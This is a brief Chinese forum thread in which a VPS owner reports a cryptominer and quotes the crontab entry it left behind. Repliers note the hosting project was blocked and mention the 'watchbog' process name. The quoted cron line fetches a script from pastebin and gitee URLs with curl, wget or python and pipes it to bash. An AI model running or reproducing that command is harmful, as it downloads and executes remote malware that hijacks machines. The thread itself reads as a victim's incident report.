小鸡惊现挖矿程序

ZeroDu

如上图，第一个占用非常高。

1. */11 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://gitee.com/but_ter/w1/raw/master/src/phone||wget -q -O - https://gitee.com/but_ter/w1/raw/master/src/phone)|bash
   
2. ##
   

复制代码

在crontab中发现了定时任务。去上图中的码云账户看了看，有评论也是说传播挖矿病毒

机子上安装程序：宝塔，aria2，rclone

最后，没有找到被黑原因，直接重装系统解决了。

---

码云的项目已被屏蔽了

plyu007

有才，watchdog改成了watchbog

镜子里的我

憋说话，就是干

Now

.........